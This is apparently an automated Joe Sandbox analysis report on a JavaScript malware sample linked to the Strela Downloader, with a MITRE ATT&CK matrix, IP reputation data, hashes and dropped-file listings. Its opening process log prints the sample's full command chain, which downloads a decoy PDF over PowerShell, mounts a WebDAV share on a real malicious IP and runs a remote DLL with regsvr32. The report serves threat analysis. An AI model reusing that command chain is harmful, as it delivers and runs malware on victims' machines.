Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
620128062590131002.js	0%	ReversingLabs
620128062590131002.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/B	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/bP	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3000302226.000001DCE7600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/bP	net.exe, 00000006.00000002.1786073808.000001FB48668000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1786174461.000001FB486A3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/B	net.exe, 00000006.00000002.1786073808.000001FB48668000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587881
Start date and time:	2025-01-10 19:00:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	620128062590131002.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/54@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.107, 2.16.168.105, 54.224.241.105, 34.237.241.83, 50.16.47.176, 18.213.11.84, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 52.149.20.212, 23.41.168.139, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:01:51	API Interceptor	24x Sleep call for process: powershell.exe modified
13:01:55	API Interceptor	1x Sleep call for process: net.exe modified
13:01:55	API Interceptor	2x Sleep call for process: svchost.exe modified
13:02:08	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241721637114311605.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.30735540464581
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrB:KooCEYhgYEL0In
MD5:	A32612B55D1EBFF97A5653244E9FA514
SHA1:	A4A517FF770FE7EFF76B5999FD66919BD49F8B93
SHA-256:	2CC467933E377584862170BC552F454126578A6F3A385BB2C67DCBB1368EFD1E
SHA-512:	6D7756E5294B5970B23B1DB525BA4CD700BBCDCEAFED43F3CBDFFD85096F3672648D93274F398E63CDD0629E95F8E5BCF26D263D124EC647D7B00F39ED7B21AE
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5504fdfb, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.422099367449286
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	9A746F34BB1BB31A746DB902783B3EF0
SHA1:	FEF62B4BB8AF056BA300F7EE9388E5E485496618
SHA-256:	11CD9B99C59A082DC38D968EB94766F0DB1F223AC1A2DD508086184C8BE930AF
SHA-512:	BC277DABA33575AEA4BF5E381E4C8BF685D4F82D10BB7AAE050523135F883F283EC53D17CA0E7BCE762A52C9D68EEF90A3DD8F4DD0472960A676560AADA5ED6C
Malicious:	false
Preview:	U...... .......A.......X\...;...{......................0.!..........{A.9....}C.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................b.9....}C....................Y9....}C..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07663903383281982
Encrypted:	false
SSDEEP:	3:3/tKYer+9ukjn13a/D8d8YGltollcVO/lnlZMxZNQl:PtKzrCv53qDQ8YyGOewk
MD5:	A8D228DD9AFFF079FC551F7B78169E8A
SHA1:	DF8560E23AF4E83E4686CDF78FFA7F93E7C4F008
SHA-256:	0B8F58818A2CC9A06A3FA8EC92DE24A09EE47EC485B604A232EDC3A8631EDC44
SHA-512:	988DDC00E370055659937A0109FBA979483EB6B4E54DA2A6905BE5D3482D58AA717105F708FDDAC369C697CF85848B968BE4CAF5F13531D2EBEF121BA0F58E2A
Malicious:	false
Preview:	.X4[.....................................;...{..9....}C......{A..............{A......{A..........{A]...................Y9....}C.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.110627253330322
Encrypted:	false
SSDEEP:	6:iO4jGe9yq2Pwkn2nKuAl9OmbnIFUtSjEK11Zmwsj2RkwOwkn2nKuAl9OmbjLJ:7IGXvYfHAahFUta51/ki5JfHAaSJ
MD5:	2AA7E18999D371023E8E905948605883
SHA1:	E179F393588FD4187D129BA5102DCEF7B9B78996
SHA-256:	2C048E2527B684804F57924F27A888A143CC035903CE959B4A804EE2DBBFF0C1
SHA-512:	E572DACDD413FAA9583AFA1FFD56C074CC6DDCB61118CCE650FD2429B6E7747FC81A522D2B97B2A948E930B356540EA21B5BE5500F30300FD705768601AFD2F5
Malicious:	false
Preview:	2025/01/10-13:01:55.755 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:01:55.757 1c50 Recovering log #3.2025/01/10-13:01:55.758 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.110627253330322
Encrypted:	false
SSDEEP:	6:iO4jGe9yq2Pwkn2nKuAl9OmbnIFUtSjEK11Zmwsj2RkwOwkn2nKuAl9OmbjLJ:7IGXvYfHAahFUta51/ki5JfHAaSJ
MD5:	2AA7E18999D371023E8E905948605883
SHA1:	E179F393588FD4187D129BA5102DCEF7B9B78996
SHA-256:	2C048E2527B684804F57924F27A888A143CC035903CE959B4A804EE2DBBFF0C1
SHA-512:	E572DACDD413FAA9583AFA1FFD56C074CC6DDCB61118CCE650FD2429B6E7747FC81A522D2B97B2A948E930B356540EA21B5BE5500F30300FD705768601AFD2F5
Malicious:	false
Preview:	2025/01/10-13:01:55.755 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:01:55.757 1c50 Recovering log #3.2025/01/10-13:01:55.758 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.192473367144158
Encrypted:	false
SSDEEP:	6:iO4jkF/Iq2Pwkn2nKuAl9Ombzo2jMGIFUtSjiFxZmwsj/kwOwkn2nKuAl9Ombzos:7IMQvYfHAa8uFUtaij/k/5JfHAa8RJ
MD5:	0991CADA18B18AAE9041CC696184E89F
SHA1:	D5589BDA1672CE17433FE19996035D47ED06B332
SHA-256:	63E5896DC14C4EF39F3252DBF99A8676FDCB3CF20916C606DE8504BECE1A53CE
SHA-512:	8CB37C5269C3869870D8994AA736EFD53DAE130CEC962BB10CE83221913A87193E36F9817F3546258AA21139E3889EF29249B42DA024304945E5E1CFA9802204
Malicious:	false
Preview:	2025/01/10-13:01:55.793 1cf4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:01:55.795 1cf4 Recovering log #3.2025/01/10-13:01:55.796 1cf4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.192473367144158
Encrypted:	false
SSDEEP:	6:iO4jkF/Iq2Pwkn2nKuAl9Ombzo2jMGIFUtSjiFxZmwsj/kwOwkn2nKuAl9Ombzos:7IMQvYfHAa8uFUtaij/k/5JfHAa8RJ
MD5:	0991CADA18B18AAE9041CC696184E89F
SHA1:	D5589BDA1672CE17433FE19996035D47ED06B332
SHA-256:	63E5896DC14C4EF39F3252DBF99A8676FDCB3CF20916C606DE8504BECE1A53CE
SHA-512:	8CB37C5269C3869870D8994AA736EFD53DAE130CEC962BB10CE83221913A87193E36F9817F3546258AA21139E3889EF29249B42DA024304945E5E1CFA9802204
Malicious:	false
Preview:	2025/01/10-13:01:55.793 1cf4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:01:55.795 1cf4 Recovering log #3.2025/01/10-13:01:55.796 1cf4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\944ff236-cf19-46ee-8128-fac132b6de31.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961095515944318
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqFrsBdOg2Hbcaq3QYiubInP7E4T3y:Y2sRdsPdMHi3QYhbG7nby
MD5:	9ACA17FDFDF0C1B95979A711A4E66971
SHA1:	EFC6E68F1B7971DD3E8272C0DE20DD4F7C3D8D7E
SHA-256:	B17C71D206C17D292002D7BBE2B4AA09D5C30665B96D6D170E3888BD1D291F83
SHA-512:	9138C11AD3CDA3012A2734624BD6357781DBC3ABA78FC0EF601DB31FDFDA3B9A8A406329695DF95188AD36D52808D42C8C4D68FB7BBCE50A4AB4A5FAEF211356
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381092128258349","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133297},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.961095515944318
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqFrsBdOg2Hbcaq3QYiubInP7E4T3y:Y2sRdsPdMHi3QYhbG7nby
MD5:	9ACA17FDFDF0C1B95979A711A4E66971
SHA1:	EFC6E68F1B7971DD3E8272C0DE20DD4F7C3D8D7E
SHA-256:	B17C71D206C17D292002D7BBE2B4AA09D5C30665B96D6D170E3888BD1D291F83
SHA-512:	9138C11AD3CDA3012A2734624BD6357781DBC3ABA78FC0EF601DB31FDFDA3B9A8A406329695DF95188AD36D52808D42C8C4D68FB7BBCE50A4AB4A5FAEF211356
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381092128258349","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133297},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.258948590301978
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7xdEMAyh:etJCV4FiN/jTN/2r8Mta02fEhgO73goB
MD5:	DD15B1E1132788D39BB36A4D0C29000D
SHA1:	1D05ABC07D9F2CDE8E7EA1D82D308ED1358DE1CA
SHA-256:	6827F2047392B09E7E7CC1D85918ED754C39A8566A1ADBC2D0FF3E27B01F951C
SHA-512:	5F4771A41F4286976A1E9F0AC08F361375AB3FBC121907677DE07A9593932081BF8083869F928CA65789659F2EE1998AC14F62AE2F656A269E8883DCEB0E0D67
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1518566594063255
Encrypted:	false
SSDEEP:	6:iO4jGZq2Pwkn2nKuAl9OmbzNMxIFUtSj1ZmwsjazkwOwkn2nKuAl9OmbzNMFLJ:7IGZvYfHAa8jFUta1/ki5JfHAa84J
MD5:	8D8E5380616D646C0F24239A01284389
SHA1:	B2B57F6158CE8AC7F39A0AF3D12D41E327CAA5D4
SHA-256:	AF57EEE1220999AA5BB83FA554EDB5BE9E9A9994FBB1E252B3CB47D3CC863FC4
SHA-512:	57F94D933EA2000A21EA1419C53E65279191FBF7AD8CD75F4247DF3515F5FB77767AFCDA7286F6954E57B2321953C0B99883CEAADE537D33ECA140FE23D2F888
Malicious:	false
Preview:	2025/01/10-13:01:55.949 1cf4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:01:55.950 1cf4 Recovering log #3.2025/01/10-13:01:55.951 1cf4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1518566594063255
Encrypted:	false
SSDEEP:	6:iO4jGZq2Pwkn2nKuAl9OmbzNMxIFUtSj1ZmwsjazkwOwkn2nKuAl9OmbzNMFLJ:7IGZvYfHAa8jFUta1/ki5JfHAa84J
MD5:	8D8E5380616D646C0F24239A01284389
SHA1:	B2B57F6158CE8AC7F39A0AF3D12D41E327CAA5D4
SHA-256:	AF57EEE1220999AA5BB83FA554EDB5BE9E9A9994FBB1E252B3CB47D3CC863FC4
SHA-512:	57F94D933EA2000A21EA1419C53E65279191FBF7AD8CD75F4247DF3515F5FB77767AFCDA7286F6954E57B2321953C0B99883CEAADE537D33ECA140FE23D2F888
Malicious:	false
Preview:	2025/01/10-13:01:55.949 1cf4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:01:55.950 1cf4 Recovering log #3.2025/01/10-13:01:55.951 1cf4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444548888419386
Encrypted:	false
SSDEEP:	384:yezci5teiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rxs3OazzU89UTTgUL
MD5:	2CB404B1E45728B22F35AAF2DB056B85
SHA1:	593187EB8D4BA9435963DD6DAAACB2223102104A
SHA-256:	29D7A9D385AF32A8F9B414B712774695D106CA6BEC76C3708127526375E71666
SHA-512:	E4EA0AC0CFBF43416348F5961AC0EB64C30C43CEC9945A050CD28CF0D0F23A374840E08D7FC46D2831152A10AC0EE03A997699D92B3B85D195A8B708866AA72E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.771799765184228
Encrypted:	false
SSDEEP:	48:7M8p/E2ioyVj3ioy9oWoy1Cwoy1W0KOioy1noy1AYoy1Wioy1hioybioyc4oy1n9:7HpjujFeXKQqcb9IVXEBodRBky
MD5:	CB9C2B449C2803CDD8909A17C373BBCC
SHA1:	8B72DE9BDE6D15FA3158AB3DD5EA647DA6DCD5FC
SHA-256:	B04AA44F0C2FCC3B6A027E22E0FCD5A6546FF9319A547E78DC5575FA645DB880
SHA-512:	E68048885DF5865F2D8DF743254CE79A904D0B480830571713386A5EC18A4B2C9CDF7950521DBFDB888267FD3380F59097DD1C1C87DDC1B3F69288C418002948
Malicious:	false
Preview:	.... .c.......D................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
